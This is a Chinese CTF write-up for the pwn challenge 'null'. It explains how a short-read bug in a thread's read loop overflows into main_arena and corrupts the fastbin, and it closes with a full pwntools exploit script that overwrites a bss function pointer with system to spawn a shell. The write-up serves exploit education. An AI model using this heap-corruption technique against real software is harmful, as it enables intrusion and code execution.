[Pwn] Null - Cpt.shao xp0int Posted on Mar 18 2018 ? Pwn ? ? main_arena ? ? thread ? ? overflow ? > 代码少不一定是好事,代码多也不一定是坏事。 这道题目的代码可以说是十分简单了,主要就是新开了一条线程,然后在线程里面可以进行批量的malloc操作。 然而`malloc`操作是的分配空间大小是严格限制好的,除此之外也实在没看出别的问题。 开始寻思着是整形溢出,继而导致缓存区溢出,然而并没有,严格的条件判断致使程序根本没有整形溢出的机会。 看了Write up之后才发现,漏洞真的是就在自己眼皮底下,还不止一次反复怀疑过的,可惜就是没有察觉到。 ```c for ( i = 0LL; ; i += v3 ) { result = i; if ( i >= size ) break; v3 = read(0, (void *)(heap_ptr + i), size); if ( v3 <= 0 ) { write(1, "I/O error\n", 0xAuLL); sub_400AD6(1u); } } ``` 这段代码是程序`malloc`之后唯一往新空间写入内容的地方,如果用户输入和`size`长度匹配的内容,自然是一点问题都没有。但是如果用户输入小于给定`size`长度的内容,因为`read`函数返回值是实际读入的字节数,因此可能造成`v3 < size`的情况。还是举例来说,size=0x400, 用户输入0x3ff个字节,然后v3=0x3ff,此时程序进入下一个循环。 在下一个循环当中,`read`的调用情况就变成了`read(0, heap_ptr + 0x3ff, 0x400)`,因此可以溢出到预期空间之外的内存。 ![vmmap](https://leanote.com/api/file/getImage?fileId=5aae6a3bab64413c9b001d64) 至于`malloc`出来空间的位置,简单用上图来说明一下,新线程里面分配的空间并不是分配到heap里面的,而是通过mmap的机制来分配新的内存块。分配的时候首先会消耗掉图中白框部分空闲的内存,当这部分可用的内存都分配完了,程序就会往上找新的空间,比如说`2号标记`所示的内存。然后`1号标记`的位置是该线程中的`main_arena`所在的位置。 ![main_arena](https://leanote.com/api/file/getImage?fileId=5aae6bbdab64413c9b001d83) 上图是`main_arena`的数据结构,对heap攻击利用有一定了解的同学都应该知道,`main_arena`里面保存了很多`malloc`有关的数据,比如说我们常利用的`fastbin`就是记录在这个地方的, 通过更改`main_arena`里面的数据,可以欺骗程序,达到`malloc`返回任意地址的目的。 那么利用的思路就比较清晰了,**首先通过大量的malloc操作促使程序申请到main_arena上方的空间,然后在一个足够近的位置进行溢出操作,覆盖掉main_arena里面的数据,这里是改写掉fastbin所在的空间,那么下次调用malloc的时候就可以取出任意地址的内存**。接下来思路和`fastbin attack`的套路一致,可以是改写got表。这题目的情况比较特殊,程序里面已经引用过`system`函数,所以我们不需要在泄露libc上面的地址推算`system`地址,而且程序在`bss`上安放了一个函数指针,我们只需要直接把这个函数指针改写为`system`,再设置好调用的参数就可以get shell了。 再记录一下写exp时候遇到的一个问题,如果在`read`的时候直接用`sendline`把payload一次过发送过去,这样是达不到想要的效果的,因为程序会直接把接收到的字符串连起来,一口气就读完和`size`相等长度的字符串。试过用`\n`,`\x00`等特殊字符去控制字符串的结尾都没能成功,差点就要想着打`EOF`的注意,然而`EOF`是一个表示结束的状态,并不是一个字符,我们是无法直接发送一个`EOF`到输入流的。 解决方法是用`python`的`raw_input`来中断`read`的读入操作,等待exp这边程序继续运行后,再发送剩余的字符串实现上述的溢出操作。 ## null.py ```python from pwn import * p = process('./null') password = "i'm ready for challenge\n" def get_pass(): p.sendlineafter(': ', password) def write(pad, size, content, is_write): p.sendlineafter('Action: ', '1') p.sendlineafter('Size: ', str(size)) p.sendlineafter('blocks: ', str(pad)) if is_write: p.sendlineafter('(0/1): ', str(1)) p.recvuntil('Input: ') p.send(content) else: p.sendlineafter('(0/1): ', str(0)) get_pass() for i in range(12): write(1000, 0x4000, 'aaaa', False) write(261, 0x4000, 'aaaa', False) write(0, 0x4000, 'a'*(0x4000-10) + '\n\x00', True) raw_input('conintue') #打断read读取,使读入的字节数小于size。 payload = '@' * 40 payload += p64(0) *2 + p64(0x3ffd000) * 2 + p64(0x300000000) + p64(0x60201d) * 7 # 0x60201d 是bss函数指针上方的一个地址,把fastbin设置到这里可以绕过取地址时候的size check p.sendline(payload) # gdb.attach(p, 'tracemalloc on\n b* 0x400bca') payload = '/bin/sh\x00RRR' + p64(0x400978) payload = payload.ljust(96, '\x00') write(0, 96, payload, True) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Reverse] babyre - sherlly [Misc] APFS - sherlly
没有帐号? 立即注册